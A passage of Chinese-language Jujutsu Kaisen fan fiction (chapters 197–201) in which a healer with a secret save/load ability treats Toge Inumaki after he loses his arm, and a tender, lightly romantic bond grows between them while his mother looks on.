可惜的是,两面宿傩的咒力太过强大,一般人根本就没办法做到,而最有希望的五条悟已然被封印在了狱门疆之中。 因此,狗卷家才千里迢迢地从北海道请来了这位神秘的咒术师。 “他的身体太虚弱,在祓除了他体内的诅咒后,必须先养好身体,再考虑把断臂接上去的事情,否则会产生非常严重的排异反应。”女生淡淡说道。 “好,一切听从你的安排。” 狗卷棘觉得自己在做一场漫长得看不见尽头的噩梦。不管是身体还是精神上,疼痛一直如跗骨之蛆,怎么也无法摆脱。 明明家入医生已经给自己治好了,为什么断臂的位置还是传来剧烈的疼痛?为什么两面宿傩轻蔑又恶毒的表情总是浮现在眼前? 还有大家,大家还活着吗?五条老师呢?五条老师怎么办? 明明已经那样努力了,到底要怎样……怎样才能…… “啊,怎么还哭了。”忽然,柔软的触感从面上擦过,温和的声音在耳边响起,狗卷棘感觉自己一瞬间就从冰天雪地的寒冬进入了春日,从地狱回到了人间。 他艰难地掀开眼皮,眼前的一切都像是蒙着一层厚重的纱,唯有那双含笑的眼睛最是清晰。 像黑曜石一样清透,里面浮动着细碎的光芒,如同黑夜里的星星。 她是谁? 疑问刚刚浮上心头,狗卷棘来不及多想,意识终于深深陷入了黑暗之中,得到了一场久违的、安宁的好眠。 再次醒来时,他恍惚了好久。 “棘!”母亲的声音颤抖着,像是绷紧的弦终于断裂。她的眼眶通红,指尖死死攥着他尚且完整的另一只手,仿佛害怕一松开,他就会再次消失,“棘……” 少年的脸色依然是苍白的,瞳孔都没办法聚焦,嘴唇干裂得渗出血丝,喉咙像是被砂纸磨过,发不出声音。 他的指尖轻轻动了动,好像想握住母亲的手,却又因虚弱而只能微微蜷缩。他扯了扯嘴角,笑容脆弱得如晨雾里的蛛网、阳光下的泡沫,一触即碎。 但即便如此,他依然努力地、一点点地,用口型无声地告诉她: ‘别担心。’ ‘妈妈。’ ‘我没事。’ 第197章 狗卷妈妈纤细的手指紧紧捂住颤抖的嘴唇,泪水无声地顺着脸颊滑落,在病床洁白的被单上晕开深色的痕迹。直到一只手轻轻搭在她单薄的肩膀上。 “不要哭了,我想,狗卷同学更希望看见母亲的笑容。”女生的声音平静中带着令人安心的温度, 狗卷妈妈如梦初醒般抬起头,慌忙用衣袖擦拭着通红的眼眶。她注意到了狗卷棘眼中的关切,少年没办法开口说话,只能用这种方式传递自己的心意。 她喉头哽咽,握住儿子冰凉的手指说道:“没有没有,我不是伤心,我只是看见棘醒了,太高兴了。” 女生取来沾了水的棉签,递给狗卷妈妈:“他刚刚醒,暂时不能进食喝水,你用这个给他擦一擦。” “好的好的。” 狗卷妈妈连连回道,小心翼翼地接过棉签,像对待易碎的瓷器般,仔仔细细地用棉签给儿子湿润嘴唇。 女生则绕过去,在床铺的另一侧坐下。她修长的手指轻轻搭在绷带缠绕的伤口上,指尖泛起蓝色的光芒。阳光透过窗帘的缝隙洒在她的侧脸,为她专注的神情镀上一层柔和的光晕。 片刻后,她对狗卷妈妈说道:“诅咒已经基本祓除干净,接下来就是静养。” “好。”狗卷妈妈哪里会对她的话提出异议,恨不得她说得再详细一点,好完完全全地按照她说的来做。 在看见狗卷棘好奇的目光后,狗卷妈妈小声为他解释道:“这位是今野小姐,北海道有名的术士,擅长祓除诅咒、治愈疾病,你身上的诅咒就是今野小姐祓除的。” 狗卷棘眨了眨眼睛,无声地对今野桃说道:‘谢谢。’ “不客气。”今野桃微微颔首,“只要你听话,按照我的要求做,你很快就能痊愈。” 痊愈…… 狗卷棘下意识地看向了自己的断臂处,眸光暗淡下来。 “怎么,觉得我连区区断肢也接不上去吗?”今野桃冷声说道。 少年瞬间抬头,瞪大了眼睛。但女生已经起身,自顾自地离开了。 “啊……”狗卷棘的喉咙里迸发出了一声沙哑的嘶叫。 “抱歉抱歉!请不要生气!”狗卷妈妈赶忙为儿子解释道,“今野小姐,棘不是那个意思!我们、我们只是特别惊喜!能把棘的断臂接回去,恐怕只有今野小姐才能做得到了!” 今野桃回转过来,手里拿着一个托盘,上面放着药品、纱布和绷带,还有一些零碎的小物件。 “我没生气。”她的语气还是那样平静,“怀疑我也没关系,只要遵照我说的话去做就行。” 狗卷棘往被子里缩了缩。 好、好凶…… 但即便嘴上说得再怎么不留情面,她的动作却仍旧是温柔的。换药时,狗卷妈妈都忍不住侧过头,她的动作始终又轻又快,几乎没让他感觉到疼痛。 “好了,既然你也醒了,我们接下来就要做复健了。”包扎结束,今野桃一边脱下手套,一边提醒道,“不要一直躺在床上,会影响身体恢复。” “好的。”狗卷妈妈顺从地点头,搀扶着狗卷棘一点一点慢慢地从床上挪下来。少年的上半身只穿着一件衬衫,宽松得几乎可以漏风。 但这明明是他上个月刚买的新衣服,那时穿着正合身。 借着妈妈的力量,狗卷棘勉强坐了起来。他的身体不受控制地歪向右侧,幸好右手及时撑住了床铺。 因为失去了左臂,所以身体的重心也跟着改变了。狗卷棘的左臂是从肩膀下面的位置被砍断的,刚刚那个瞬间,他的肩膀也跟着慌张地耸动了两下,可惜只是徒劳。 察觉到这些,狗卷妈妈的眼泪唰地一下又流了下来,她连忙转过头,不想让儿子看见自己通红的眼眶。但抽泣的声音和抖动的身体又怎么可能掩盖得住呢? 狗卷棘抿着唇,神色变得晦暗。 “好了,你出去吧。”今野桃微微皱眉。她对狗卷妈妈说道,“我带他做一下复健运动,你去准备他的食物。口味清淡一些,有肉、鱼、蛋类最好。” “是、是……”狗卷妈妈胡乱地点头,依依不舍地松开了手。 她好像被割裂成两个人,一个不想再继续看儿子的惨状,一个又想继续留在儿子的身边。 可惜今野小姐太冷面无情,不许她的负面情绪影响狗卷棘。 这样也好,有今野小姐照顾棘,她也能放心了。 木门轻轻合上,发出一声几不可闻的“咔哒”响动。 今野桃站在狗卷棘面前,居高临下地注视着他。她伸出手,指尖微凉,轻轻勾起少年尖削的下巴,迫使他抬起头来。那双紫罗兰色的眼睛湿漉漉的,睫毛被泪水浸得微微粘连,像是被雨水打湿的蝶翼。他咬着下唇,努力压抑着颤抖,却藏不住眼底那片支离破碎的光。 “如果不想妈妈难过,那就快点好起来吧。”她缓缓开口道,“有很多人都在关心你。” 狗卷棘小小的下巴被她的两根手指捏着,他怯怯地点头,甚至对她讨好地笑了笑。 他确实有些怕她,带着那种病人对医生天 然的敬畏。但奇妙的是,这份畏惧之下,又滋生出一种毫无保留的依赖。 当她的手臂伸过来时,狗卷棘颤抖的手指紧紧抓住了她的衣袖。仅仅是站起来的动作,就让他额头渗出细密的汗珠,在阳光下闪着微弱的光。他的双腿像是新生的鹿崽般打着颤,连呼吸都无比艰难。 “好,接下来往前走两步。”今野桃的声音依然平静, 她突然后退,松开了扶持的手,狗卷棘条件反射地加大了力气,惊慌的眼睛里满是乞求。 他像只将要被抛弃的幼犬,可怜兮兮地望过来,任谁看了都会心软。 “不行。”今野桃冷酷地拒绝了,“你必须自己走。” 腿又没断,总是借助工具,最后真的会变成瘸子的。复健就是如此,重新调动起身体的肌肉和感官,才能恢复到从前的状态。 狗卷棘委屈地垂下手,在原地茫然地站了片刻后,努力保持着平衡,一步一步地往前蹭。 然而,走了还没两步,他的膝盖骤然一软,整个人都往右边摔过去。今野桃的反应极快,在他即将栽倒的瞬间,一把将他揽入怀中。 狗卷棘的脸埋在了她的怀里,她本想把他推开,却很快察觉到了一点湿意从布料浸透到了肌肤上。 抬起的手悬在半空许久,今野桃无奈地叹了一口气,摸了摸他的头发。 第198章 当狗卷妈妈端着托盘走进屋子里时,看见的就是狗卷棘慢吞吞地在屋子里转圈,动作迟缓得像是在与无形的阻力抗争。而今野小姐坐在椅子上,两手交叠着搭在膝头,冷静的目光追随着少年的一举一动。 狗卷棘偶尔踉跄一下,她也完全无动于衷,连呼吸的频率都没有丝毫改变。 狗卷妈妈心疼地想要上前,被她一个凌厉的眼神扫来,立刻像做错事的孩子般讷讷低头,把托盘放在了桌子上。 “再走两圈,”今野桃修长白皙的手指在膝盖上点着,仿佛在计数,“你躺了快一周,身体几乎被咒力完全摧毁,现在虽然治好了,但想要恢复到最初的状态,还需要你自己努力。” 她这话不仅仅是说给狗卷棘听,也是说给狗卷妈妈听。 少年点头,额角沁出细密的汗珠,继续在屋子里打转。 两圈结束,他略微喘气地在床边坐下,一只手撑着床头柜,这么点运动量就把他的体力消耗得一干二净。 狗卷妈妈偷偷觑了一眼没说话的女生,这才拿起勺子,将拌着香浓芝麻和嫩滑牛肉的米饭轻轻吹凉,喂给儿子,眼中满是怜爱。 今野桃的眉毛抖了抖,移开视线。 差不多应该可以吃东西了吧?算了,反正她也不是真的医生,不懂这些,都是随便乱诌的。如果出问题就用反转术式,再不行就读档。 狗卷棘的耳尖悄悄泛红,也有点不太愿意。不过他是觉得在今野小姐面前被妈妈喂饭实在有点太难为情了……但在妈妈期待的目光中,他还是一口一口吃下了这饱含母爱的食物。 没一会儿,他就感觉到胃有点撑,但狗卷妈妈还在劝他多吃点。 狗卷棘的两颊塞得鼓鼓的,像只偷藏松果的小松鼠,他费力地吞咽着口中堆积的米饭,喉结艰难地上下滚动。就在他犹豫着该如何婉拒母亲的下一勺喂食时,一只手轻轻按在了他的肩头。 “可以了,运动和进食都要适量,现在你该躺回去休息了。”今野桃不容置疑地说道。 狗卷棘几乎是如释重负地松了口气,悄悄将面前的碗推远了些,乖乖躺回枕头上,柔软的床铺立刻陷下去一小块。 怎么感觉今野小姐好像很了解他的样子?都不必他说话,就已经知道他在想什么了…… “走吧,我们出去,不要打扰他休息。”她又转头对狗卷妈妈说道。 狗卷妈妈手忙脚乱地收拾好餐具,亦步亦趋地跟着她走出了房间。 那样子,和狗卷棘十分神似。 走廊的木地板在脚下发出轻微的吱呀声。狗卷妈妈突然停下脚步,声音细如蚊呐:“今野小姐,棘刚醒,所以我有些过度紧张……下次就不会了!” 今野桃默了默,声音放轻:“我无意责怪你,只是想同你说一下他后续的治疗方案。” “啊……原来是这样。”狗卷妈妈紧绷的肩膀终于放松下来,眼角浮现出浅浅的笑纹,“抱歉,是我误会了。” 今野桃不着痕迹地打量了面前这个快四十岁、看起来却只有三十左右的女人。她的生活应该很幸福,夫妻恩爱、孩子懂事、家庭和睦。今野桃还记得那天她在狗卷的房间外如何红着眼捶打丈夫的胸膛,而那个男人只是任由她发泄的场景。 在这种家庭长大的棘,也因此长成了善良的模样。 见多了像禅院那样糟糕的家族,狗卷家因为太过正常,反倒让她觉得很奇怪了。他们为了后代和家人,竟然会主动断绝强大的术式传承。 如果换了是禅院……啧,他们恐怕会想着,牺牲几个族人换来家族的昌盛,划算得很吧。 “你不要太过担心了,他很快就能恢复,不会留下后遗症的。”今野桃温和地宽慰道,语气里是全然的自信。 狗卷妈妈抱着托盘的手紧了紧,叹了口气:“我们都很相信今野小姐的能力。只不过……作为母亲,看见孩子受到一点点伤害,当真是比割下我自己的肉还要令我痛苦。” 两人一前一后地行走在廊下,狗卷妈妈声音沙哑地说道:“虽然棘没说,但我看出来了,他的心中是很难过的。我并非咒术师,平日里也帮不上棘的忙,这才难免有些慌了手脚……” “不需要过度关心他,太沉重的爱会变成负担。”今野桃淡淡说道,“和平日里一样就行了。” “但是……”狗卷妈妈焦虑地皱起了眉。 “你们做得已经足够好了。”今野桃微微侧头,两只手插在口袋里,“所以,像平日里那样爱他就可以了。” 狗卷妈妈怔住,良久,一滴泪水砸在木质托盘上,她用力地点头。 “我知道了。”。 今野桃独自一人回到狗卷棘的房门前,木质的障子门虚掩着,留下一条细长的缝隙。她本要推门而入,却在抬手时停住了动作。 透过那条缝隙,她看见狗卷棘在睁着眼睛望着天花板发呆。 午后的阳光透过半掩的窗帘,在床单上投下斑驳的光影。他的头陷在枕头上,呼吸很轻,几乎看不见胸膛的起伏。 睫毛在眼下投下浅淡的阴影,他的眼窝比往日更深,脸颊更是瘦得只有巴掌那么大,和今野桃记忆里的相去甚远。 吱—— 推门的声音在静谧的房间里格外清晰。狗卷棘像是受惊的小动物般猛地转头。 “鲑鱼?” “怎么,吓到了?”其实她走过来的时候是有发出细微声音的,但显然出神的少年没有听见。今野桃缓步靠近,在床边弯下腰,捏了捏他的肩膀,“恢复得不错,或许接臂的时间可以提前一点。” 咒术师的身体素质真是可怕,自醒来以后才几个小时,就抵过普通人很长一段时间的休养。 可惜少年身上那层薄薄的肌肉在这些时日里被消耗干净了,现在摸起来只能感觉到了一把骨头,咯手得很。 狗卷棘的体术在众多咒术师里也是数一数二的,奈何同期都是“怪物”,把他的光芒给盖过了。 “腌鱼子……”狗卷棘说了一个意味不明的词,大概是担心今野桃不能理解,他从枕头下摸出了一个手机,哒哒哒地开始打字。 [谢谢你,今野小姐。] “不客气,狗卷君,是我应该做的。”今野桃眼皮都没掀地回道。 狗卷棘抿了抿嘴,又打出了一句话。 [今野小姐可以叫我‘棘’。还没有问过今野小姐的名字,可以告诉我吗?] 今野桃检查的手稍稍一顿,她缓缓抬头,意味深长地看了过去,狗 卷棘这才发现,两人之间的距离近得能数清对方的睫毛。她的黑发垂落下来,似有若无地扫过他的锁骨。 还有那双黑曜石般的眼睛清晰地倒映出他的面容,仿佛能洞察他的一切心思。 “桃。”她突然笑了,唇角微微上扬,说道,“我的名字叫做今野桃。” 这是狗卷棘第一次见到她的笑容。那一瞬间,他的大脑像是被按下了暂停键,像是有一朵烟花猛然炸开,心跳声在耳膜处咚咚作响,震得他头晕目眩。纷乱的思绪稀里糊涂地纠缠在一起,最后变成了被猫咪抓乱的毛线团,没办法厘清。 等他终于找回自己的神智时,那个笑容已经消失了,仿佛从未出现过一般。 “手抬起来,我给你触诊。”她冷冰冰地说道。 狗卷棘顺从地让她摆弄。 桃……好、好可爱的名字…… 少年在心里默念着这个名字,舌尖轻轻抵住上颚。 有着这样可爱名字的今野小姐,好像突然也变得可爱了。 第199章 夜凉如水,月光像一汪银色的溪流,静静淌过窗棂。 狗卷棘闭目躺在床上,睫毛在苍白的脸颊上投下细碎的阴影。黑暗总是让情绪变得格外敏感,白日的伪装在此刻溃不成军。他翻了个身,把脸埋进枕头里,可那些压抑许久的酸涩还是从胸腔里漫上来,哽在喉咙里,连呼吸都变得沉重。 他用右手摸了摸左臂的断口处,那里已经不会再传来疼痛了,空荡荡的,让人心里发慌。 狗卷棘吸了吸鼻子,把眼泪压回去。 五条老师已经被封印了,咒术师们伤亡惨重。七海先生、野蔷薇、真希、熊猫……以往热闹的聊天群里,空荡荡的没有一条新消息。 接下来的该怎么办呢?咒术界的未来,会变成什么样子呢? 想到这里,他的心情越发低落了。 他好想大家,好想回高专…… 嘟嘟。 窗户突然被敲响,狗卷棘一怔,抬头望去。只见窗帘被拉开,一个人影正蹲在窗台上。她揉着额角,用一种无奈的语气说道:“还以为是什么小动物,原来是你在哭啊。” 哭?谁、谁哭了!他才没有哭! 狗卷棘慌忙地用手背擦了擦脸,声音闷闷的:“木鱼花!” “不是你吗?”今野桃轻巧地跳下来,赤足踩在地板上,没有发出一点声响,像一只夜行的猫,“莫非我在隔壁听错了?” 什么?她就睡在他的隔壁吗?! 一瞬间,狗卷棘的耳尖烧得通红,连带着脖颈都染上一层薄红。 “金枪鱼!”不对……“明太子!” 少年的语言系统发生了混乱,好在对听得懂的人来说不算什么问题。 “我是你的医生,睡在你隔壁不是很正常吗?” 今野桃打了个哈欠。 狗卷棘没有醒过来的那两天,她就住在隔壁以防万一。 ——万一真出事了,能及时读档。 狗卷棘一点一点地往下滑,试图把自己藏进被子里,好像这样就能逃避现实。 好糟糕……那他刚刚的动静岂不是全都被听见了…… 今野桃看着他鸵鸟似的举动,眉梢微微一挑,用脚尖勾来一把椅子,坐在了床边上。 裹着凉气的手指蹭过他的眼尾,她戏谑出声:“还说没哭,这里都是湿的。” 那是打哈欠的眼泪!才不是偷偷哭…… 他在心里反驳。淡淡的香气从旁边飘来,萦绕在他的鼻间,心里呼啸的暴风雨逐渐平息。 “好了,说吧,有什么不高兴的事情。”她慢条斯理地说道,“这次的心理辅导不收费。” 然而狗卷棘没有回答,他垂下眼睑,被子遮住了他大半脸颊,虽然看不清他的表情,但仍然能感觉到他低落的心情。 良久,他摇了摇头。 “木鱼花……” 他否认着,但他忘记了,她读懂他,不需要语言。 “是觉得自己不够强吗?”今野桃单手支着下巴,“毕竟只是一级咒术师吧。” 她故意用轻佻的语气说道。 唰地一下,狗卷棘把被子拽了下来。他的嘴角往下撇,两颊咬得鼓鼓的,显然非常不忿。 一级咒术师怎么了,他以后绝对会变得更强! 月光穿过玻璃,自身后照在她的身上。她的轮廓被皎洁的月色勾勒出一层柔边,看着他微微泛红的眼眶,今野桃轻轻叹了口气。 “真拿你没办法。”她伸出手,把被子往上拉了拉,“天塌下来有高个子顶着,就算要拯救世界,也轮不到十几岁的孩子。” 她握住了他攥着被子的手腕,气血亏损得狠了,他的皮肤有点冰,脉搏在掌心里跳动,像一只蝴蝶在扇动翅膀。 她忽然就不敢用力了,怕自己将他捏碎。 在几不可闻的停顿后,她将他的手塞进被子里,然后顺势坐在了床边。她的手指将他的乱发从脸上拨开,动作轻柔得像是在安抚一只受惊的小动物。 “不要着急,你还年轻呢。” 十七岁的一级咒术师,确实当得起一句未来可期。 话音刚落,狗卷棘反握住了她的手。但也只是很短的一瞬就松开了。 “鲑鱼子。”他的语气变得坚定。 今野桃愣了一下,随后发出了一声短促的笑。 “不错。那么后天就动手术吧,断臂接回去后,你还要一点时间适应。” 这么快! 狗卷棘忍不住咽了咽口水,唇线抿得笔直,嘴唇都泛白了。 人总是会被幻想的东西吓到,被砍断手臂时因为太过迅速,反倒在心理上没有那么恐惧。 现在要手术了,他的脑海中总是会不由自主地浮现各种可怕的画面。 ——会把他的伤口重新剖开吗?会用刀割开他的骨头吗?还有血管,也会重新长出来吗? ——会很痛吗?手术会失败吗?失败的话会有什么后果?成功的话,他还能像从前那样灵活使用手臂吗? 咚。 突然,他的脑袋被敲了一下。 狗卷棘吃痛地缩了缩脖子。 “不要贷款焦虑。”她抱着手臂,居高临下地看着他,“交给我就行了,不会出现任何意外。” 狗卷棘怔怔地仰起脸,她垂落的发丝在夜风中轻轻摇曳,像一帘柔软的纱。他迟疑了一瞬,而后缓缓倾身,将脸颊贴在她的腿侧。少女的体温透过单薄的布料传来,温暖而真实,他近乎贪婪地汲取着这份热度,仿佛她是寒夜里唯一的火源。 今野桃的手轻轻落在他的脊背上。掌下的身躯微微战栗着,像一张拉满的弓弦,紧绷到极致。她无声叹息,掌心贴着他的后心,顺着脊椎的线条缓缓抚过,如同安抚受惊的幼兽。她感受到他的呼吸渐渐平稳,紧绷的肌肉一寸寸放松 下来。 真是爱撒娇啊。 这个念头在心底浮现时,她忍不住又打了个哈欠。困意如潮水般漫上来,眼皮变得沉重。她半眯着眼睛,浓密的睫毛遮住了眸子里幽深的光。 突然,她感觉自己的后腰被戳了戳。 不是手指,不是拳头,是某个软软的、圆圆的东西顶了她一下。 今野桃猛地一颤,瞬间清醒过来。她瞪着眼睛回头,却见狗卷棘举着被包裹得严实的残肢,无辜地对她挥了挥。 他那紫罗兰色的眼睛弯了弯,透露着恶作剧得逞的狡黠。 她的心里有点好笑,也没办法生气,只能再次弹了弹他的额头,起身说道:“行了,早点休息吧。” 狗卷棘乖巧地点头,看着她的身影再次消失在窗外。 隐约的香味还残留在床铺上,少年的鼻尖耸了耸,合上眼睛,陷入了悠长甜美的梦境之中。 第200章 狗卷棘趁着今野桃不在的时候,有问过妈妈关于她的事情。 虽然妈妈知道的并不多,但也能给他不少信息。 “其实我们最开始并不认识这位今野小姐。”狗卷妈妈回忆道,“是加茂那边递了消息过来,说是或许有人能治好你的伤。” 加茂?尽管同为传承多年的世家,但加茂会有那么好心吗? 狗卷妈妈宽和地笑道:“棘并不喜欢那些复杂的东西,所以不太清楚,加茂内部应该是产生了一点动荡,近几年和过去不太一样了。” 内部的动荡……那应该跟他们没关系吧。 “总之,那个时候我们也没办法了,就抱着试一试的心态,去了北海道,见到了今野小姐。”狗卷妈妈若有所思地说道,“今野小姐在北海道的地位应当不低,大家都很信服她的样子。” 因为是医生?不,她身上的自信,绝非凭借出色的医术能够养成。 咒术界,说到底也要看实力的。 “话说回来,棘以前认识今野小姐吗?”狗卷妈妈突然这么问道。 狗卷棘想了想,摇摇头:“木鱼花。” “那就奇怪了。”狗卷妈妈疑惑地说道,“一开始今野小姐并不想接受我们的请求,但是礼貌性地听完了详情后,最后竟然同意了。我们原本猜测,是今野小姐认识棘呢。” 他们……认识吗? 狗卷棘绞尽脑汁地搜刮着记忆,却遗憾地没能找到一点蛛丝马迹。 “鲑鱼。”他笃定自己过去并未见过她。 狗卷妈妈看着儿子,蓦地捂嘴一笑:“以前不认识也没关系,现在认识不就行了?” 她压低了声音,语气神秘地凑到儿子耳边问道:“你们进展到什么程度啦?” “??!!”狗卷棘猛地睁大了眼睛。 狗卷妈妈目光含笑:“我看见了哦,晚上有人影翻窗呢。” “……”狗卷棘目光游移,好半天吐出了一个词,“木鱼花。” 他们才不是那种关系! “啊,不是吗。”狗卷妈妈情不自禁地遗憾叹息。 狗卷棘感觉自己全身都在燃烧,空气变得焦灼,呼吸也变得急促。 眼看小孩子不经逗,狗卷妈妈意犹未尽地收手了。 “今野小姐好像跟你同岁吧,棘。”她状似不经意地说道,“不过她好像比棘要厉害呢,可惜北海道那边的咒术师们不太搭理总监部,因此也不怎么愿意来评级。” 北海道的咒术师们有自己的联盟,非常排外。 狗卷棘看看天,看看地,没吭声。 就在这微妙的时刻,障子门被轻轻推开,发出“吱呀”一声响。 “怎么了?”今野桃的手插在口袋里,非常自然地走了进来。 从她的角度,只能看见狗卷棘低垂的头顶,和他那在银白发丝间若隐若现、红得快要滴血的耳尖。 “稍微关心了一下棘,但是好像棘不高兴了呢。”狗卷妈妈故作忧愁地叹了口气,眼角却带着狡黠的笑意。 这对母子真的很像。 “木鱼花!”狗卷棘猛地抬头,慌乱地摆手否认,脸上的红晕已经蔓延到了脖子根。 狗卷妈妈微微一笑:“那我就不打扰你们了,有什么需要可以来喊我。” 她哼着不知名的小调,脚步轻快地离开了房间,临走时还贴心地带上了门。 今野桃的眼中闪过一丝疑惑,又很快抛在了脑后。 “今天上午过得如何?有乖乖听话锻炼吗?” “海带!” 两人异口同声地说道。 今野桃“唔”了一声,回道:“出去处理了一点事情。” 狗卷棘挠了挠脸颊,开口道:“明太子金枪鱼蛋黄酱。” “……” 长难句阅读理解吗,有意思。 今野桃一脸深沉地想。 明显看出她没听懂,狗卷棘的嘴角微微上扬,他从床上爬起来,哒哒哒地跑到了桌子旁。 今野桃还以为他是要拿手机,没想到他翻出来了一本素描本。 从笔筒里抽出一支笔,狗卷棘开始在上面画了起来。 嘶,你画我猜?小游戏是吧?她懂。 今野桃用食指推了推鼻梁上不存在的眼镜,摆出侦探般的架势认真端详。 哦,是一只饭团。 咦,怎么还有一只饭团? 啊,两只饭团在打架? 迎着狗卷棘期待的目光,今野桃吞吞吐吐地说道:“你今天早上……看了两只饭团打架?” 狗卷棘亮晶晶的眼神瞬间黯淡下来。他咬着笔头,又在其中一个饭团旁边画了几滴夸张的泪珠。 “啊,有一只饭团打输了,然后哭了?”今野桃的语气越来越不确定。 狗卷棘深吸了一口气,运笔如飞。 看着画面逐渐成型,今野桃的右手握拳,敲在左手掌心:“我明白了,两只饭团打架,然后其中一只打输了,肚子里的馅料被打出来了,吐得到处都是!” 阴暗角落里,狗卷棘蹲在地上画起了圈圈,背影写满了沮丧。他幽幽地回头瞥了她一眼,眼神里满是“我们的默契消失了吗”的控诉。 啊哦,都猜错了。 今野桃摸了摸鼻子,两手一摊:“这种小游戏就不能盲猜啦,应该像GAL游戏一样,给几个选项嘛。” 说完,她啪地一声读档了。 果然,在玩小游戏前存档是个好习惯! 今野桃看着狗卷棘举起来的素描本,自信开口:“是中午吃到不喜欢馅料的饭团,所以很伤心是吗?” 狗卷棘的眼睛瞬间亮了起来,紫色的瞳孔像是盛满了星光。他用力点头,嘴角扬起的弧度都快要飞到天上去了,连发梢都跟着欢快地晃动起来。 所以那个长了眉毛和眼睛的饭团指的是狗卷棘自己,而另一个饭团是他的午饭啊。 好可爱。 今野桃的心突然软了一下。 她想着,有点想吃饭团了。 今野桃把素描本从他的手里抽走,眉眼间带着几分意味深长,目光顺着少年纤细的脖颈线条滑向凹陷的锁骨,说道:“好了,让我看看你恢复得怎么样。” 窗帘被唰地拉上,室内骤然暗了下来。今野桃走到门口开灯,当她转回来的时候,听话的少年就已经乖乖坐在床边上了。 “把上衣脱掉吧。”她的语气平静得像在讨论天气,“我检查一下。” 狗卷棘的指尖颤了颤,他深吸了一口气,缓缓点头,手指移向最上方的纽扣。 布料顺着肩膀滑落的窸窣声在安静的房间里格外清晰,随着最后一道遮掩褪去,少年单薄的身躯完全暴露在冷白的灯光下。 只见他的上半身肋骨根根分明,皮肤下淡青色的血管隐约可见, 太瘦了,连一丝多余的肉都没有, 今野桃的手指从锁骨的凹陷处划过,沿着骨骼的形状描摹,最后捏了捏他软绵绵的伤口位置。 “还痛吗?” 狗卷棘摇摇头,喉结微微滚动了一下。大概是她的指尖太凉,所以才让他忍不住打了个哆嗦。 手指开始往下游走,今野桃能感受到他的肌肉开始变得紧绷。 “放松。”她漫不经心地命令道,“不然会影响检查结果。” 少年委屈地抿起嘴唇,撑在床单上的手指悄悄攥紧了布料,指节泛出青白色。 她的呼吸似乎喷洒在了他的肩膀上,一下一下,有规律地如一根羽毛扫过那一小块肌肤。 好像漫长得过了一个世纪,他才终于听见她说——“好了。” 然而,不等他松一口气,她直起身,柔软的指腹摩挲着他的唇角,在按过凸起的咒纹时刻意用力,带起一串过电般的痒意。 “现在……”她眯起眼睛,声音里带着某种危险的温柔,“我要检查这里。” 200-207 第201章 “张嘴。” 医用手套与手掌完全贴合,她拉扯手套的动作和低垂眼眸的表情搭配,显得她格外得不近人情。 狗卷棘听话地张开了嘴,下巴被抬起来在明亮的灯光下,他的唇色显得格外浅淡。 当拇指探入他的唇缝时,他的呼吸明显一窒。但他没有任何抗拒的举动,目光仍然温驯湿润。 “真乖。”今野桃毫不吝啬地对他露出了一个笑容。 少年人显然被这个笑容所蛊惑,脸颊浮起来不自知的淡淡绯色。 她的手指伸进了他的口中,手套的橡胶质感蹭过他的齿列,沿着口腔内壁缓缓滑过,带着微凉 的触感,在敏感的黏膜上激起一阵细微的战栗。 “别怕。”她的声音放得很轻,指腹却故意压上他的舌面,沿着那些深色的咒纹缓缓描摹。 他的舌尖无意识地轻颤,像是想要躲避,却又无处可退。 城门都已失守,不怀好意的人当然会长驱直入。 “唔……”狗卷棘的喉咙里发出难以自制的呜咽。 “弄疼你了?”她低声问,指尖轻轻捏住他的舌尖,“我看看。” 少年的喉头蛄蛹了两下,他摇着头,呼吸却变得急促。她的手指在他的口腔里探索,指节偶尔擦过他的上颚,引得他脊背微微绷紧。唾液在唇齿间积聚,湿润的触感让空气变得黏腻。 “很好。”今野桃慢慢地抽出手指,但少年仍然微微张着嘴,仿佛是在等待一个明确的指令。 她摘下手套扔进垃圾桶,随手扯了两张纸巾,轻轻擦过他的嘴唇。 她托了托他的下巴,把他的嘴唇合上。 “恢复得不错,不管是身体还是咒力。”今野桃微笑道,“明天上午你做好准备。” 正用手抚摸自己喉咙的狗卷棘愣了一下,随后平静地点头:“鲑鱼。” 今野桃揉了一把他的头发,温声说道:“就当是睡了一觉,醒来一切都会恢复原状。” 恢复原状吗…… 狗卷棘闭上眼睛,把自己全然托付出去。 他仿佛置身于汪洋大海之上,一波一波的浪潮向他涌来,把他高高抛起,又重重落下。 在无边无际的迷茫中,一只手牢牢握住了他。 “放轻松,不要怕。” 她牵着他,在狂风暴雨里穿梭,直到回到了岸边。 轻柔的力道把他往安全的地方推去,她在他耳边轻声说道:“我就送你到这里了。” 狗卷棘猛地回头,只看见一个远去的背影。 她……她要去哪里? 眼皮缓缓掀开,浓稠的黑暗里,狗卷棘敏锐地察觉到房间里还有另一个人的气息。他侧过头,喉间溢出几声轻咳,在寂静的房间里格外清晰。 那人立刻动了起来,摸索着开了一盏小灯,玻璃杯与桌面相碰发出清脆的声响,温水被小心翼翼地递到他唇边。 “棘,你感觉怎么样?”狗卷妈妈担忧地看着他。 狗卷棘恍惚了一下,缓缓点头:“大芥。” 他握了握拳,感受到了左手臂的存在。 非常神奇,他没有感觉到半点不适,仿佛断臂只是他的一场梦。 狗卷棘的目光落在虚空中的一粒灰尘上,有些发愣。 ——但不是梦。痛苦会淡去,死去的人是真的不会再回来。 “鲑鱼?”他低声问道。 狗卷妈妈顿了顿,开口道:“你是问今野小姐吗?她现在就在隔壁,棘昏迷了快一天,我们都很担心呢。” 原来如此。 狗卷棘莫名松了一口气。 “……不过,棘现在醒了,她应该也快离开了吧。”狗卷妈妈不经意地说道。 看着儿子瞪大眼睛的模样,她的嘴角勾了勾,对他解释道:“这段时间一直都承蒙今野小姐照顾,如今棘也康复了,总不能一直留别人在家。” 狗卷棘张了张嘴,想说什么又说不出口。 房间里陷入了短暂的沉默。死里逃生的喜悦被冲淡后,心疼和难过慢慢地反刍上来,无法被快乐掩盖。 “棘这次真是受罪了。”狗卷妈妈把被角掖了掖,眼睛里流露出伤感和极力压抑的痛苦,“我不是咒术师,没办法为棘承担这些磨难。” “大芥……” 狗卷妈妈摸了摸儿子的脸,狗卷棘能感受到母亲指尖细微的颤抖。差一点,就差那么一点,她就要永远失去她的孩子了。 “面对死亡,才知道自己还有很多话没有对你说,很多事情没有为你做。”狗卷妈妈侧过头,抹去颊上的泪水,“棘,我和爸爸,还有爷爷他们,都很爱很爱你。” 狗卷棘握住了妈妈的手:“金枪鱼蛋黄酱。” 他也很爱很爱大家。 狗卷妈妈吸了吸鼻子,努力恢复平静:“所以,棘如果遇见了什么很重要的人,有什么非说不可的话,就不要犹豫,勇敢说出来。因为时机可能转瞬即逝,不会再回来。” 